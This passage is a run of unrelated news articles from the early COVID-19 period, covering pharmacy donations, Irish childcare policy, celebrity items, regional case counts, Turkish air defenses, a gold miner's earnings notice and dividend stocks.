(Z-Pak), that is now in shortage because of the virus, says John Herr, RPh., pharmacist and owner of Town and Country Compounding Pharmacy. COVID-19 has uncontrollably spread globally, with total cases rising over 950,000 in the United States alone, according to the Centers for Disease Control and Prevention (CDC). Shortages in essential supplies have affected individuals in many high-risk populations. Fearing infection, the world responded to the novel coronavirus with panic buying of toilet paper and sanitation products, such as disinfectants and hand sanitizers. Commercially produced hand sanitizer companies are unable to meet unexpectedly significant increases in demands, leaving many out of luck. First responders such as health workers, law enforcement and grocery clerks are at the frontlines, risking their health with every uncertain encounter. As social distancing is not an option for these essential workers, regular cleaning of hands, while avoiding touching of the eyes and face, can make all the difference. Town and Country Compounding Pharmacy in Ridgewood, New Jersey, donates hand sanitizers to local first responders. The hand sanitizers comply with the guidelines set by the World Health Organization (WHO), effective against the novel coronavirus. Christina DiMartino, CPhT. of Town and Country, who has been processing and receiving prescriptions from her home during the pandemic, has a deep connection with the Hoboken Police Force. Her son Joey is especially enthusiastic about helping the force that his father Joseph DiMartino, and uncles, David DiMartino and Keith Rotondi, are a part of. Upon hearing about the donations for first responders, Joey thought of his heroes and keeping them safe while on-duty. Town and Country donated hand sanitizers to the Hoboken Police Department to help authorities keep themselves safe, as they protect and serve residents in the time of the COVID-19 pandemic. Hoboken Police Force Chief, K. Ferrante, and the rest of the department have expressed appreciation for the donation by Town and Country Compounding Pharmacy. Shortages in medication supplies have also surfaced, as the crisis rages on and researchers look to existing drugs to treat COVID-19. Pharmacists are working tirelessly to provide for the health needs of patients, in the face of shortages during this crisis. We have been asked to compound many medications, such as azithromycin (Z-Pak), that is now in shortage because of the virus, says John Herr, RPh., pharmacist and owner of Town and Country Compounding Pharmacy. Many people utilizing these medications are being left empty handed, or must wait for supplies to be replenished. Furthermore, the use of Hydroxychloroquine (Plaquenil) for COVID-19 positive patients has recently come to light, and is creating shortages for those that use it to treat autoimmune conditions such as lupus or rheumatoid arthritis. To keep up with increased demand as the number of COVID-19 positive cases continue to increase, compounders are working with providers to offer Low Dose Naltrexone (LDN) as an alternative for treating autoimmune conditions as shortages continue. John Herr, RPh., is one of the nations top LDN experts, educating patients and providers about current advancements and developments. As our nation, and the world, seek to contain the spread of COVID-19, pharmacists continue doing their part to serve the public through compounding. About Town & Country Compounding As the pandemic continues, Town & Country Compounding makes it a point to help prevent the spread of COVID-19, all while serving the needs of the community in its entirety. As part of its commitment, Town and Country Compounding Pharmacy also offers hand sanitizer, cloth and surgical masks available for purchase to customers picking up prescriptions and supplements, with shipping to anyone in need also available. Visit TCCompound.com for more information, shipping to 12 states and Washington D.C. If you know first responders that are in need of hand sanitizer, or if you are in need of medications, supplements, or prescriber referrals please call (201) 447-2020. Creche fees would fall dramatically under a plan to set up a public childcare system as part of a new programme for government. Fianna Fail spokesperson on children and youth affairs Anne Rabbitte said a proposal being given serious consideration could cost parents as little as 100 per child a week. Services including a pre-school scheme, full-day and after-school care would be provided. Under the plan, the State would continue to fund childcare workers' wages when the pandemic ends. Providers would lose subsidies for existing childcare schemes and would be required to reduce their fees. It is envisaged that providers would be invited to participate in a pilot scheme at first, but this would be expanded over five years. The aim is to build more community-based centres, based on a Swedish childcare model. Providers would receive the wage subsidy that currently funds pay by up to 586 a week per worker under a coronavirus bailout for the sector. "It would be a pathway out of Covid to public-funded State-led childcare," said Ms Rabbitte. "The Government is already paying wages for the sector and we need to gauge the appetite to stay on the wage subsidy." Ms Rabbitte believes up to 50pc of providers would be likely to take part and the scheme would be paid from the department's existing budget and capital infrastructure funding from Europe. The possibility of setting up a sectoral wage order to establish minimum rates and terms and conditions is being examined. She said most of the providers likely to participate are running community childcare centres or small operations, whose wage bill is their biggest cost. Opportunity A Department of Children and Youth Affairs spokesperson said 3,665 providers had signed up to the wage subsidy scheme by yesterday. It is anticipated that larger providers, whose business model is structured around parents' fees rather than State funding, would be less likely to take part. The proposal was revealed as the Government was urged to grasp a "unique opportunity" to reform the childcare system as a whole. In a letter to the political parties last week, the Irish Women's Council, Early Childhood Ireland, the Children's Rights Alliance and Siptu called for an extension of the wage subsidy scheme. They said substantial government investment would deliver a "properly nationally funded system for children and families as part of the new social contract". "While the last government built the foundations for reform by launching a new national early years strategy, the next government is now well placed to reform the system as a whole," they said. "A unique opportunity now exists to address the multiple challenges in the early childhood education and care system relating to affordability, low pay, high staff turnover and sustainability." They said a substantial increase in government investment is required. Transformation "We envisage the current wage subsidy scheme of financial support, together with the existing ECCE scheme (free preschool years), becoming the new starting point in establishing a sustainable system of State funding of early childhood education and care in Ireland," they added. "This can transform the Irish early childhood education and care system in a properly nationally funded system for children and families as part of the new social contract." President Donald Trump said he believes some governors will be able to open up schools again after weeks of lockdowns to curb the spread of the CCP virus. Flanked by two TV screens with the words Opening Up America Again, Trump said during a news conference on Monday evening: We want to get our country open, and testing is not going to be a problem at all. The president said he believes that some states will be ready to open up their school systems again, but safety is paramount. Dozens of states have shut down schools for the rest of the academic year to slow the spread of the virus. The announcement to hold the news conference came after the White House announced that the Trump administrations daily briefing on the CCP (Chinese Communist Party) virus, a form of a novel coronavirus, would be canceled, following a weekend of foregoing the task force updates. There will be briefings throughout other portions of the week. But these briefings are excellent. Theyre a way for the president to speak directly to the American people, White House press secretary Kayleigh McEnany told Fox News on Monday. The move to skip the daily briefings came after Trump faced criticism over remarks on April 23 when he asked a question about whether medical experts should study the use of disinfectants to treat the virus. Trump said he made the remarks sarcastically and accused news outlets of inaccurate reporting on his statements. He followed up by writing on Twitter that the briefings are a waste of time. According to Johns Hopkins University, the United States has more than 1 million confirmed cases of the CCP virus and more than 55,000 deaths. From The Epoch Times Bindi Irwin and Chandler Powell's TV wedding special premiered on US cable channel Animal Planet this month - leaving Australian fans furious. And now the network has moved its Australian air date for 'Crikey! Its The Irwins: Bindis Wedding' forward by two months to cater to viewer demand. 'Australia, weve heard you and you wont need to wait long for the television wedding event of the year,' Animal Planet announced in a statement on Tuesday. Scroll down for video Save the date! Animal Planet has moved Bindi Irwin and Chandler Powell's TV wedding special forward by two months for May 23 after intense fan backlash in Australia Despite the ceremony taking place at Australia Zoo on March 25, the episode debuted exclusively in America, and wasn't due to screen Down Under until July. Crikey! Its The Irwins: Bindis Wedding will now air in Australia on Saturday, May 23 from 6:30pm. The network also claims it is 'upping the ante on the celebrations' by dedicating the whole month to being 'Irwin Month', with two hours of programming from the wildlife warriors every night from 6.30pm, starting Sunday on May 3. Kiss the bride: Bindi, 21, and her professional wakeboarder husband, 23, tied the knot at Australia Zo on Queensland's Sunshine Coast, on March 25 Bottom of the list: In another bizarre twist, the episode would have already aired in every other country by the time Australians were scheduled to watch it 'Ripped off': Many Australians voiced their frustration on Twitter earlier this month Bindi and Chandler's 'wedding story' premiered on US cable channel Animal Planet on May 18, and it wasn't long before the newlyweds endured immediate backlash from fans in Australia. Aussies were angered that the episode was due to air in every other country by July 18 [when it was originally scheduled to air Down Under]. 'I'm so confused why Aussies have to wait the longest when you got married 40mins down the road from me? #rippedoff,' one Queenslander tweeted earlier this month. 'Omg it was in Australia and Australians don't even get to see it until July like if you're mad,' another person tweeted at Chandler when he revealed the airdates on social media. 'I find it weird how the wedding took place in Australia and they're the LAST ones to see it,' mused a third fan. Many other people questioned why Australia is 'so late' and 'so behind'. 'Programming is out of our control': Chandler later responded to the backlash while thanking Americans for tuning in 'Aren't they Australian?' Despite the ceremony happening at Australia Zoo on the Sunshine Coast on March 25, the episode was not originally scheduled to air Down Under until July 18. Pictured: Bindi with mother Terri Irwin 'We love our Wildlife Warriors neighbours': Terri Irwin also stepped in when no air date was announced for New Zealand Chandler later responded to the backlash while thanking Americans for tuning in. He tweeted: 'Programming is out of our control as Animal Planet decides when to air the show. We will keep you posted as we find out more air dates!' Terri Irwin also stepped in when no air date was announced for New Zealand. 'We have specifically asked @AnimalPlanet about the scheduled premiere of Bindi and Chandler's wedding special in New Zealand,' Terri wrote. 'We love our Wildlife Warriors neighbours! I'm sure they are doing their best to get the show to you as soon as possible. Stay healthy and happy!' Australians will now be able to watch Crikey! Its The Irwins: Bindis Wedding on Animal Planet from 6:30pm on Saturday, May 23 Walt Disney Television/Lou RoccoTyler Perry has come up with a strategic plan to reopen Tyler Perry Studios in Atlanta after Georgia Governor Brian Kemp declared earlier this week that nonessential businesses could reopen. The TV mogul plans to begin production in June, but still "create a safe environment so people could work again with some peace of mind," he shared with Deadline. Perry revealed hes taking drastic measures to ensure the safety and protection of his crew, using coronavirus tests that have a 24-hour turnaround for quick results, and retesting all cast and crew after four days of shooting. "Thank god, out of the 100 essential workers, all tested negative," he said. "My goal is to find a path forward to protect both the health and the livelihoods of my cast and crew." The studio property, boasting 330 acres and 19 historic homes, will house about 90 cast and crew members. The rest will be housed in portable hotels during production, which is expected to last until August. All food will go through a sterilization process before being delivered. Filming for BET's Sistas and The Oval will feature fewer extras and smaller scenes, to facilitate continued social distancing. Perry's effort to offer jobs to many during the pandemic follows last month's $21,000 tip he left for workers at an Atlanta restaurant, and his PSA urging black people to take the coronavirus seriously. "While everyone can contract this virus, it is black people who are dying from it in much larger numbers," he wrote. "This thing is real, black people." Copyright 2020, ABC Audio. All rights reserved. Mohali in Punjab recorded a fresh case of coronavirus disease Covid-19 after a gap of five days. With this, the number of Covid-19 positive cases in the district has reached 64. The fresh cases has been reported from village Jawaharpur in Dera Bassi of Mohali. The 42-year-old is the brother of village sarpanch, who was already tested positive of coronavirus. Dr Manjit Singh, Civil Surgeon of Mohali said, We took his sample earlier, and he tested negative. But we were little doubtful and took his sample again and this time, he was tested positive. He is a habitual drinker and now admitted at Gian Sagar hospital in Banur, Dr Singh added. In Mohali, the active cases are 35, as 27 patients have recovered and two died. Village Jawaharpur, which has been declared as hotspot and containment zone, now has 39 patients. Fifteen patients from the village have recovered so far. Health department will also take the samples of 34 people, who returned from Sri Hazur Sahib in Maharashtra in Mohali on Monday evening. They have kept in a school in Sector 70 of Mohali. With these pilgrims testing positive for Covid-19, the infection count in the state has gone up to 330. Meanwhile, a 63-year-old woman in Patiala died of coronavirus, taking the death tally to 19 in Punjab, an official said. Jalandhar district continued to lead the COVID-19 tally in the state with 78 coronavirus cases. Your tax-deductible gift today powers our reporters and keeps us independent. We rely on you, our reader, not paywalls to stay funded because we believe important news and information should be freely accessible to all. Start your day with LAist Sign up for the Morning Brief, delivered weekdays. Subscribe Our news is free on LAist. To make sure you get our coverage: Sign up for our daily coronavirus newsletter. To support our non-profit public service journalism: Donate Now. Eight of the 11 health care workers who have died in Los Angeles County of COVID-19 worked in skilled nursing facilities. County Public Health Director Dr. Barbara Ferrer reported the dire statistics at her Monday briefing. Nearly 2,000 health care workers and first responders have contracted COVID-19, most of them through their jobs, Ferrer said. A new health order announced by Ferrer last week requires all nursing home staff and residents to be tested for the virus, regardless of whether or not they have symptoms. Today, the L.A. County Board of Supervisors will vote on a motion giving the county Department of Health Services seven days to develop a "high-level strategic plan" for carrying out nursing home testing. In all, 423 residents of institutional settings have died from COVID-19 in L.A. County -- 45% of all coronavirus deaths. Most lived in skilled nursing facilities, according to public health officials. CALL IN THE NATIONAL GUARD Some nursing homes have faced staffing shortages their workers test positive or fear coming to work. The California National Guard has been brought in to plug staffing holes at five nursing homes in L.A. County, said public affairs director Lt. Col. Jonathan Shiroma. "These medical support teams are made up of about eight service members and include the lead service member, which is a doctor or a physician's assistant or a registered nurse, and then they are supported by our army or airforce medics," Shiroma said. Each team also has two support service members to assist with administrative duties. Shiroma said service members are only working at skilled nursing facilities in L.A. County but can help in other parts of the state if needed. "It's not a military operation," Shiroma said. "So the soldiers and airmen that support this mission fall under the direct supervision of the staff that is there at the existing facility." The National Guard is also assisting with food distribution and other coronavirus-related needs across California. The Centers for Disease Control and Prevention is working to tally the number of health care workers infected with COVID-19 across the country. The Oregon Department of Corrections on Tuesday said it would restart drug and alcohol treatment programs that come with early release incentives starting next week. The agencys abrupt suspension of the programs in March because of the new coronavirus meant an estimated 200 nonviolent offenders would lose their early release dates and stay in prison for weeks or months even as the state faces pressure to do more to protect inmates and staff from infection. The programs are held at three prisons: Coffee Creek and Columbia River correctional institutions in Portland and Powder River Correctional Institution in Baker City. Coffee Creek and Columbia River will resume treatment programs next week. Powder River will follow suit the week after that. Jennifer Black, an agency spokeswoman, said prison officials plan to allow the outside contractors that operate the programs to enter the prisons to run the programs. She said the institutions have a plan to keep people separated from each other and that classes and groups will be limited to 10 people. She said the agency will hold more classes to accommodate the class size limits. The department halted the programs to limit the number of people coming in and out of the states prisons because of the coronavirus. The six-month treatment programs serve a relatively small number of inmates each year. The agency says about 580 minimum security prisoners complete the programs each year. Inmates who successfully complete the drug and alcohol treatment programs typically see their sentences reduced by up to 20 percent. People convicted of Measure 11 offenses -- violent crimes that carry mandatory minimum sentences do not qualify for early release. The number of inmates with the virus has slowly but steadily risen. As of Monday, the state reported 18 confirmed cases among inmates -- mostly at Shutter Creek Correctional Institution in North Bend -- and 15 among staff. -- Noelle Crombie; ncrombie@oregonian.com; 503-276-7184; @noellecrombie Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. Your browser does not support the audio element. A Vietnamese woman safely delivered a 3kg baby boy by C-section on the weekend after she went into labor in a quarantine zone for people returning from foreign countries. She gave birth at the Can Tho Gynecology and Obstetrics Hospital in the eponymous city, located in the Mekong Delta of Vietnam, doctors said. She had been quarantined at a military camp in Can Tho, as a novel coronavirus disease (COVID-19) control and prevention measure, following her return from Singapore on Friday last week, Nguyen Huu Du, director of the hospital, said on Monday. Vietnam requires all arrivals from abroad to be isolated in centralized quarantine zones to curb the virus transmission. The woman, 31, resides in District 11, Ho Chi Minh City. She was taken to the quarantine camp upon her arrival at Can Tho Interntional Airport. She was more than 37 weeks pregnant and already tested negative for the virus in quarantine. Her waters broke on Sunday afternoon so she was taken to the isolation ward at the hospital, where doctors found she had had a cesarean before. Doctors managed to help her deliver a 3kg baby boy by C-section the same day. She and her baby are in stable health in the isolation ward. Hospital doctors had complied with Ministry of Health protocols to prevent COVID-19 infection during the C-section on the woman, Du said. Both the mother and baby will be sent back to the quarantine zone upon their discharge, he added. Vietnam has confirmed 270 COVID-19 cases up to now, 222 of them having recovered. No virus-related death has been recorded in the country. The Southeast Asian nation has documented only two new patients, both imported cases in quarantine, since April 17. Vietnam has gradually reopened its society as infection rates have dramatically slowed, apparently thanks to aggressive containment measures, since early this month. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! TORONTO, April 27, 2020 (GLOBE NEWSWIRE) -- Kirkland Lake Gold Ltd. (Kirkland Lake Gold or the Company) (TSX:KL) (NYSE:KL) (ASX:KLA) today announced that the Company will release its financial and operating results for the first quarter of 2020 before the market open on Wednesday, May 6, 2020, Eastern Time (ET). The Company will then host a conference call to review the results that afternoon at 2:00 pm ET. Those wishing to join the call can do so using the telephone numbers listed below. The call will also be webcast and available on the Companys website at www.klgold.com. Date: Wednesday, May 6, 2020, 2:00 pm ET Conference ID: 9680145 Toll-free number: (833) 968-2183 International callers: (825) 312-2102 Webcast url: https://services.choruscall.com/links/kl200506.html About Kirkland Lake Gold Ltd. Kirkland Lake Gold Ltd. is a growing gold producer operating in Canada and Australia that produced 974,615 ounces in 2019. The production profile of the Company is anchored by three high-quality operations, including the Macassa Mine and Detour Lake Mine, both located in Northern Ontario, and the Fosterville Mine located in the state of Victoria, Australia. Kirkland Lake Gold's solid base of quality assets is complemented by district scale exploration potential, supported by a strong financial position with extensive management expertise. For further information on Kirkland Lake Gold and to receive news releases by email, visit the website www.klgold.com. FOR FURTHER INFORMATION PLEASE CONTACT: Anthony Makuch, President, Chief Executive Officer & Director Phone: +1 416-840-7884 E-mail: tmakuch@klgold.com Mark Utting, Vice President, Investor Relations Phone: +1 416-840-7884 E-mail: mutting@klgold.com Senior BJP leader Devendra Fadnavis on Tuesday led a party delegation to Maharashtra Governor Bhagat Singh Koshyari claiming there was an undeclared emergency in the state and that journalists were being terrorised by the Uddhav Thackeray government. Fadnavis, leader of the opposition in the Assembly and former chief minister, was accompanied by Pravin Darekar, leader of opposition in the council, senior leaders Ashish Shelar and Vinod Tawde, as well as Mumbai party unit chief Mangal Prabhat Lodha. Fadnavis claimed ABP Majha journalist Rahul Kulkarni was arrested in connection with a migrant mob gathering in Bandra during lockdown on April 14 because he had exposed a letter given by a state government official to scam-accused DHFL promoters Wadhawans allowing them to travel from Mumbai to Satara during lockdown. Since the case was filed in Mumbai, the arrested journalist was made to travel through COVID-19 hotspots from Osamanabad to the metropolis, Fadnavis alleged. He said a case had also been filed against a Times Now journalist for a new report. The media can be asked to clarify a negative report but filing cases and arresting them amounts to terrorising the media, the former CM claimed. Fadnavis further pointed out that journalist Arnab Goswami was grilled for 12 hours by the police in connection with a programme he hosted. Those speaking out against the state government on social media are also being harassed, adding that even distribution of newspapers was being curtailed in the name of a health threat. The door-to-door delivery of newspapers has been prohibited in containment areas to stop the spread of novel coronavirus. "We urge you to intervene and seek a response from the state government," Fadnavis told the governor. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) And this year especially, the Chennai resident did not want to break the tradition as he wanted to buy it for his daughter's wedding, which is scheduled in a few months. Unlike the previous years, however, Chandrasekar did not buy from a jewellery store, and used a digital payments app to make his purchase insteas. "Though the quantity wasn't significant, the purchase was made only for the sake of auspiciousness associated with the festival," Chandrasekar ... Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor Budget carrier SpiceJet on Tuesday said one of its engineers has tested positive for coronavirus and that all measures are being taken to provide appropriate medical care to the person. The employee last reported for duty on April 22 and was tested positive on April 27, an airline spokesperson told PTI. As a precautionary measure, all crew and staff who had been in direct contact with him have been asked to self-quarantine by staying at home for the next two weeks, the spokesperson said in a statement. This is at least the second case of a SpiceJet staff getting coronavirus infection. Earlier, a pilot with the airline tested positive for coronavirus. "One of our colleagues, an engineer with SpiceJet, has tested positive for COVID-19. He had last reported on duty on April 22 at the Delhi airport. The engineer got tested on April 27," the statement said. According to the airline, all measures are being taken to provide appropriate medical care to him. "We have been diligently following the guidelines issued by the government and WHO," it said, adding that all aircraft are being disinfected thoroughly since the end of January and the disinfectants used are as per the WHO standards. Nearly 30,000 people have been infected by coronavirus and more than 930 people have died due to the infection so far in the country. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The residents of Karnah town in north Kashmir have been protesting for the last 30 years to press for their demand for construction of a tunnel at the Sadhna Pass on the Kupwara-Tangdhar highway, which has emerged as a death trap over the years. More than 200 persons have died in the last six years due to massive avalanches at Sadhna top. The construction of the Sadhna Pass tunnel will provide Karnah, a far-flung area near the Line of Control (LOC) in Kupwara district, all-weather connectivity with the rest of the state. Due to the lockdown enforced to contain coronavirus, we could not hold a protest, but once it is over, we will again protest until our demands are met, said Raja Abdul Hamid, sarpanch of Dildar village in Karnah tehsil. He said that every year the residents hold a protest in Srinagar and Karnah to press for their demand. We have been doing it for the last 30 years and will continue to do so, he said. A former professor from Karnah Jahangir Danish said that every winter season it snows heavily at Sadhna and the Kupwara-Karnah stretch becomes highly vulnerable to avalanches and landslides. It gets disconnected from the rest of Kashmir for around six months creating shortages of essential and medical supplies. He said that they have taken up the matter with the administration, but to no avail. For the last four years, we are only being told that a detailed project report (DPR) of the tunnel is being prepared but no one knows the reality, he said. Mohammad Kazafi, a member of the Karnah Residents Welfare Association, said, When it snows, we have to carry patients on our shoulders and trek to reach the hospitals in Kupwara or Srinagar as we dont have any medium of transport. Former MLA of Karnah Raja Manzoor Ahmad said In 2018, I met Union minister Jitendra Singh in Delhi who assured us that he will look into the matter. Then the government invited tenders from consultancies for providing feasibility and technicality for the tunnel and approach roads. Later, due to a political spat between the PDP-BJP government, the project didnt see the light of day. Speaking on the matter, Karnah SDM Bilal Mohiuddin Bhat said, As per the communique between the Centre and Border Road Organisation(BRO), the work couldnt commence due to the shortage of funds. Last week Karnah sub-divisional magistrate along with his security guard and driver were rescued by the army after the vehicle they were travelling in came under an avalanche at Sadhna Pass. Karnah remains cut off from the rest of the Valley from December to April every year, as the Kupwara-Karnah road gets blocked due to the accumulation of 20 feet snow at Sadhna Pass, which is over 11, 000 feet above the sea level. Turkey is upgrading its air defense capabilities one way or another. Currently, the most modern system they have is the American developed Hawk. A sixty year old design, Hawk has been updated frequently but has now been, or is being, retired by most users. In early 2020 Turkey sought to put some effective air defense capability into Syria and the best they could manage was to move at least one Hawk battery into northwest Syria (Idlib province). The Turks are believed to have brought a Hawk battery into Syria (north of Aleppo) in 2018 but the Hawk unit was soon sent back to Turkey. The recent arrival of Hawk is part of a major buildup of Turkish forces in Idlib and adjacent Aleppo provinces. Turkey has 16 Hawk batteries and is replacing them with the similar but more advanced and Turkish developed Hisar-O and Hisar-U systems. Turkey already manufactures a licensed copy of the British Rapier 2000 short-range air defense system and is replacing these with the locally developed Hisar-A. The Rapier is a truck-mounted system developed in the 1960s and produced into the 1990s. The Rapier 2000 was the last and most modern version. It was mobile and could either be towed or mounted on a truck. The 49 kg (hundred pound) Rapier missile had a max range of 8,200 meters and was guided by the system radar and visually from the launcher. Each Rapier system had four missiles. Turkey built 515 launcher units used by 86 Rapier batteries. Hisar A is basically an improved Rapier 2000 with a longer range (15 kilometers) missile equipped with a better guidance system. It has successfully shot down rockets. Hisar A is mounted on a tracked vehicle and with four missiles and radar. Hisar-A is to enter service in 2021 but some of the development models are being sent to Syria to get some combat experience, which means it will enter service a year early. Hisar A completed its testing in 2019. Hisar-O is basically a longer range (25 kilometers) system with a larger missile, better guidance system and will enter service in 2022. Hisar-O is mounted on a truck carrying six missiles in storage/launch containers. The Hisar-U will be a true Hawk replacement and will not be available until the mid-2020s or later. HisarU will have some ballistic missile defense capabilities. Hawk uses a 590 kg (1,200 pound) missile carried on three missile launchers. The missile has a range of 50 kilometers. Hawk is a 1950s design that has been improved over the years. Turkey bought the latest, Improved Hawk, version. Turkey already had its Korkut 35mm autocannon system in Syria. Korkut entered service in 2016 and is a track vehicle-mounted twin 35mm autocannon that can fire 1,100 rounds a minute. This comes out to 18 a second and most of the time Korkut will fire short (1-3 second) bursts. A Korkut battery consists of three 35mm gun vehicles and a command/control radar vehicle. The radar has a range of 70 kilometers while the 35mm guns are effective up to four kilometers. The 35mm gunner has an optical (visual) sight that aided by the radar vehicle which also coordinates the fire of all three gun vehicles. Turkey is building enough Korkut equipment for 40 batteries. About half of this has been completed and all 40 will be in service by 2022. Turkey has also purchased S-400 air defense systems from Russia, choosing it over the American Patriot or similar European or Chinese systems. Turkey is having second thoughts about S-400 and is again discussing Patriot with the Americans. South African local contests this week Please take note that the Lock Down Regulations will influence certain outdoor activities. The ZS SOTA Activity Day is a fun event to encourage radio amateurs to take part in the Summits on the Air (SOTA) programme. The QSO Party is open to all radio amateurs. The first ZS SOTA activity day is scheduled from 00:00 to 23:59 UTC on Friday 1 May 2020. Radio activity takes place on all bands and modes and the exchange is an RS or RST report and the SOTA reference. Upload your SOTA log to the SOTA Database as soon as possible after the QSO Party. The points for the QSO Party will be calculated by the ZS SOTA Management team from the logs entered into the SOTA database. The Antique Wireless Association Valve QSO Party is a phone only contest on 40 and 80 metres using AM and SSB. The QSO Party takes place over two sessions. The AM QSO Party runs from 13:00 to 17:00 UTC on Saturday 2 May and the SSB QSO Party runs from 13:00 to 17:00 UTC on Sunday 3 May. Your log sheet must be submitted by Monday 18 May 2020 to andyzs6ady@vodamail.co.za The rules for both contests are in the 2020 Blue Book. LUCKNOW: Uttar Pradesh Chief Minister Yogi Adityanath has taken cognizance of the alleged murder of two priests whose dead bodies were found at the Pagon villages temple in Bulandshahr late on Monday. Zee Media sources said on Tuesday that the Chief Minister has directed the top UP Police officials and the Bulandshahr District Magistrate to investigate the case thoroughly and submit a detailed report about the incident at the earliest. The Bulandshahr Police has meanwhile launched an investigation into the matter. The bodies of the two seers have also been sent for post-mortem and the report is awaited. The dead bodies of the two priests were spotted by the locals when they visited the temple on Monday after which they reported the matter to the police. The two priests were identified as Sadhu Jagandas (55-year-old) and Sevadas (35-year-old). The priests were the resident of Anupshahrs village Pagona and were serving in the temple for the past 10 years. After an initial investigation, the Bulandshahr Police has said that two days back the priests had a minor conflict with a man who visited the temple and that has possibly led to the murder of the duo but the investigation is underway and still the motive is unknown. The polica has also arrested one person in connection with the murder, One person has been taken into custody and is being interrogated, said Santosh Kumar Singh, SSP Bulandshahr. The priests were allegedly killed with a sword, the SSP said. "The two priests used to live here at the temple. One person named Murai alias Raju who is a cannabis addict and who frequently visited the temple apparently took away a `chimta` (tong) for which he was chided by the priests. For that, he killed them using a sword. Villagers also spotted Murari going outside the village," Singh said. The accused was arrested two kilometres from the village where he was found in an inebriated state, the SSP said. The latest incident of killing of two seers comes days after three men, including two seers, were killed by a mob in Gadchinchle village of Dahanu tehsil in the Palghar district of Maharashtra of April 16. Two sadhus with their driver were going by car from Mumbai to Surat to attend a funeral. Their names were Mahant Kalpavruksha Giri (70), Sushilgiri Maharaj (35), and Naresh Yelgade. They apparently did not have a lockdown travel pass. To avoid the police who would have stopped them, they did not go by the Mumbai-Ahmedabad national highway and took a detour by a small road in the remote rural areas of Dahanu tehsil which goes to Gujarat via the Union Territory of Dadra and Nagar Haveli. The two sadhus were killed by the mob on suspicion of being thieves. The matter is being investigated by the Palghar Police. They have been isolating together during lockdown. And Lucy Fallon pulled out all the stops for her boyfriend Tom Leech's 29th birthday on Monday. The Coronation Street star, 24, who plays Bethany Platt in the ITV soap, shared a sweet throwback snap from one of their holidays and wrote: 'You may be 29, but you're still looking fine xxxxx'. Happy Birthday! Lucy Fallon pulled out all the stops for her boyfriend Tom Leech's 29th birthday on Monday The couple looked in the throws of love in the sunny selfie, which had an idyllic beach in the background. Lucy also shared a snap of Tom's birthday cake, which was dusted with icing sugar and had strawberries on top. The couple have dated for more than three years and moved in together in March 2017. Yummy: Lucy also shared a snap of Tom's birthday cake, which was dusted with icing sugar and had strawberries on top However, Lucy admitted she's not quite ready to put a ring on it just yet when she discussed their love in a previous interview. She said: 'We're like an old married couple already!' But Tom pointed out marriage 'might be a while yet' because he still has to cherry pick the best ring for the occasion. Dreaming of sunnier times: Last week Lucy posted a throwback bikini snap from her holiday in Barbados 'I do get asked about when I'm planning to propose a lot when we're out with Lucy's co-stars,' Lucy's partner told OK! magazine. 'After a few drinks, it's only a matter of time before one of them sidles up to me and says: 'So?' and points at their ring finger with raised eyebrows! 'I need to get a ring first, though, and depending on what Lucy is expecting, that might be a while yet!' Xiaomi has been expanding its presence in India at a rapid rate and after making itself felt in the smart TV and home appliance segments, the company is now looking to enter the laptop segment. There have been rumours floating about Xiaomi bringing its RedmiBook series of laptops to India later in 2020 but according to a fresh report, it now seems that Xiaomi may be hurrying up to bring the laptops as soon as possible. Noted tipster Ishan Agarwal has tweeted out possibilities of Xiaomi working with its retailers to launch its Redmi and Mi series of laptops in India. Agarwal says that Xiaomi's VP Manu Jain has been reportedly discussing the launch of the laptops in India. There's still no timeline given to these launches but it seems that Xiaomi is looking to launch these as soon as possible once the lockdown is lifted. Xiaomi making and selling laptops isn't new to the tech community. The company has been selling affordable laptops under the Mi and Redmi series. Xiaomi's laptops usually offer good specifications packaged in premium designs but at prices that can give competition to affordable laptops from mainstream laptop manufacturers. In recent years, Xiaomi even moved to the gaming laptop segment. In India, Xiaomi may not go for the high-end segments initially. The company is expected to announce its most affordable RedmiBook series of laptops. The most affordable model in the lineup is a RedmiBook 14 that comes with a Ryzen 5 processor, 8GB RAM and 512GB storage, starting at prices of approximately Rs 35,000. Of course, Xiaomi may be looking for an even lower price to catch hold of the student group. We already saw how Xiaomi undercut the entire smart TV market in India with relatively affordable 4K TVs and we don't expect anything different in the laptop segment. Launching the laptops right now could help Xiaomi establish its presence in the laptop segment. With a majority of people now summoned to work from home during the COVID-19 lockdown, there is a greater need for personal computers than before. Hence, Xiaomi offering good laptops at affordable prices is something that the doctor just ordered. Do note that this is still a rumour but it highly likely for Xiaomi to launch its new laptops, given the market conditions. It is said that once the lockdown is relaxed, Xiaomi will be looking to launch its Mi 10 series flagship as well as the Redmi K30 Pro Zoom Edition in India. The higher a dividend yield is, the riskier the dividend is? This rule of thumb is applicable in many cases. Some stocks have really high dividend yields because there's an underlying problem that caused share prices to fall significantly. Those problems, at least in some cases, could eventually cause the dividends to be slashed. But the rule of thumb isn't true for every dividend stock. Here are three dividend stocks with high yields (5% or more) that are safe buys right now. 1. AbbVie AbbVie (NYSE:ABBV) currently offers a dividend yield of more than 5.6%. The big drugmaker's dividend program boasts an impeccable history. AbbVie has increased its dividend for 47 consecutive years. And since being spun off from Abbott Labs in 2013, those dividend hikes have been quite substantial, with a total dividend increase of 195%. But isn't AbbVie a high risk with its top-selling drug Humira facing biosimilar competition in Europe with more biosimilar rivals on the way in the U.S. within the next three years? I don't think so. The company has been making moves for years to lower its reliance on Humira. One key part of that strategy was introducing new drugs. AbbVie's acquisition of Pharmacyclics in 2015 brought blockbuster cancer drug Imbruvica into its lineup. The company's internal research and development is also paying off nicely, with AbbVie launching two immunology drugs with blockbuster potential last year -- Rinvoq and Skyrizi. AbbVie expects to wrap up another acquisition soon that will diversify its revenue even more. The company recently struck a deal with the Federal Trade Commission that should clear the way for it to close its pending acquisition of Allergan in May. The deal will give AbbVie several products with rising sales, 